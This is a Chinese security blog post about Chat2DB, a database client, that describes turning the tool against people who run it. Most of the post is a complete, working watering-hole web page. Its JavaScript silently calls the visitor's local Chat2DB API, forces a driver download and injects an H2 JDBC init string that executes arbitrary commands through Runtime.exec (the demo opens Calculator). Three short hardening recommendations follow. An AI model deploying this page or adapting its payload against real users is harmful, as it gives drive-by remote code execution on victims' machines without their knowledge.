长亭百川云 - 文章详情

利用Chat2DB溯源攻击者

Medi0cr1ty

59

2024-07-13

关于工具

Chat2DB 是一款由阿里巴巴开源免费的多数据库客户端工具,支持 windows、mac 本地安装,也支持服务器端部署,web网页访问。和传统的数据库客户端软件 Navicat、DBeaver 相比 Chat2DB 集成了 AIGC 的能力,能够将自然语言转换为 SQL, 也可以将 SQL 转换为自然语言,可以给出研发人员 SQL 的优化建议,极大的提升人员的效率,是 AI 时代数据库研发人员的利器, 不懂 SQL 的运营或业务也可以轻松使用快速查询业务数据、生成报表的能力。

杜绝废话

水坑页面:

`<html>``<title>chat2db</title>``<meta charset="utf-8" />``   ``<script type="text/javascript">``   `    `async function checkEnv() {`        `const url = 'http://127.0.0.1:10824/api/jdbc/driver/list?dbType=H2';`        `try {`            `const response = await fetch(url);`            `if (response.ok) {`                `const data = await response.json();`                `const driverConfigList = data.data.driverConfigList;`                `if (Array.isArray(driverConfigList) && driverConfigList.length > 0) {`                    `return true;`                `} else {`                    `return false;`                `}`            `} else {`                `return false;`            `}`        `} catch (error) {`            `console.error(error);`            `return false;`        `}`    `}``   `    `async function download() {`        `const url = 'http://127.0.0.1:10824/api/jdbc/driver/download?dbType=H2';`        `try {`            `const response = await fetch(url);`            `if (response.ok) {`                `const data = await response.json();`                `const success = data.success;`                `if (success) {`                    `return true;`                `} else {`                    `return false;`                `}`            `} else {`                `return false;`            `}`        `} catch (error) {`            `console.error(error);`            `return false;`        `}`    `}``   `    `function exploit() {`        `var data = {`            `ssh:`            `{`                `use: false, hostName: "", port: "22", userName: "", localPort: "", authenticationType: "password", password: ""`            `},`            `driverConfig:`            `{`                `jdbcDriverClass: "org.h2.Driver"`            `},`            `alias: "@localhost", environmentId: 1, host: "localhost", port: "9092", authenticationType: "1", user: "root", password: "123", database: "123", url: "jdbc:h2:mem:test;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;", extendInfo: [{ key: "init", value: "CREATE ALIAS IF NOT EXISTS vulcheck AS CONCAT('void e(String cmd) throws java.io.IOException{','java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}');CALL vulcheck('open -a Calculator');" }],`            `connectionEnvType: "DAILY", type: "H2"`        `}``   `        `var xhr = new XMLHttpRequest();`        `xhr.open('POST', 'http://127.0.0.1:10824/api/connection/datasource/pre_connect', true);`        `xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");`        `xhr.send(JSON.stringify(data));`    `}``   `    `checkEnv()`        `.then(result => {`            `console.log('[+] env:', result);`            `exploit()`        `})`        `.catch(error => {`            `console.error('[-] env:', error);`            `download()`                `.then(result => {`                    `console.log('[+] download:', result);`                    `exploit()`                `})`                `.catch(error => {`                    `console.error('[-] download:', error);`                `});`        `});``</script>``<body>`    `<h1>chat2db</h1>``</body>``</html>`

安全建议

1.作为客户端,web服务不应该不做鉴权还监听0.0.0.0,同内网环境下等于裸奔。

2.作为客户端,web服务应当禁止跨域调用,或可配置选项,不然用户访问的任意页面均有可操作客户端所有API,保存的账密之类的东西就等于是别人的,造成隐患。

3.作为服务端,这里特指提供给团队公用(多人公用)的情况应该做权限隔离,做执行环境隔离,避免因jdbc驱动上传功能,以及驱动本身安全问题导致的一系列安全问题。如果这个工具整体的定位就只是给个人使用,非团队工具的话,我认为整体做好鉴权即可,jdbc安全问题可忽略。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2